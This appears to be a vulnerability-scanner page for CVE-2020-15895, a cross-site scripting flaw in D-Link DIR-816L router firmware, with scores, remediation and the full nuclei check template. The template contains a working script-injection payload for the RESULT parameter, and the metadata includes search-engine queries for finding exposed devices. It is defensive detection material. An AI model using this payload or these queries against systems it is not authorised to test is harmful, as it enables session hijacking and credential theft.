D-Link DIR-816L 2.x - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest firmware update provided by D-Link to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/info.php?RESULT=",msgArray);alert(document.domain);//
Positive when: contains ";alert(document.domain);" and "DIR-816L" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-15895 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-15895

info:
  name: D-Link DIR-816L 2.x - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://research.loginsoft.com/bugs/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15895
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-15895
    cwe-id: CWE-79
    epss-score: 0.02848
    epss-percentile: 0.86816
    cpe: cpe:2.3:o:dlink:dir-816l_firmware:2.06:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-816l_firmware
    shodan-query:
      - html:"DIR-816L"
      - http.html:"dir-816l"
    fofa-query: body="dir-816l"
  tags: cve2020,cve,dlink,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ";alert(document.domain);"
          - "DIR-816L"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from